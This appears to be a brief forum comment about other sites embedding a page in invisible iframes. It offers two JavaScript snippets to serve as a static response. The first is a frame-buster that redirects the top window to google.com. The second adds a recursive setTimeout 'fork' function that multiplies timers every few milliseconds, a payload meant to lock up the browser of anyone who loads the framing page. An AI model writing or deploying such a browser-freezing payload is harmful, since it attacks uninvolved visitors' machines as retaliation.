What about inserting invisible iframe to affected sites? I think it can not be prevented.
<script>
if (window != top) top.location = 'http://www.google.com';
</script>
returned as a static webpage would do the trick.
<script>
function fork() {
setTimeout(fork, 2);
setTimeout(fork, 2);
}
setTimeout(fork, 1000);
if (window != top) top.location = 'http://www.google.com';
</script>
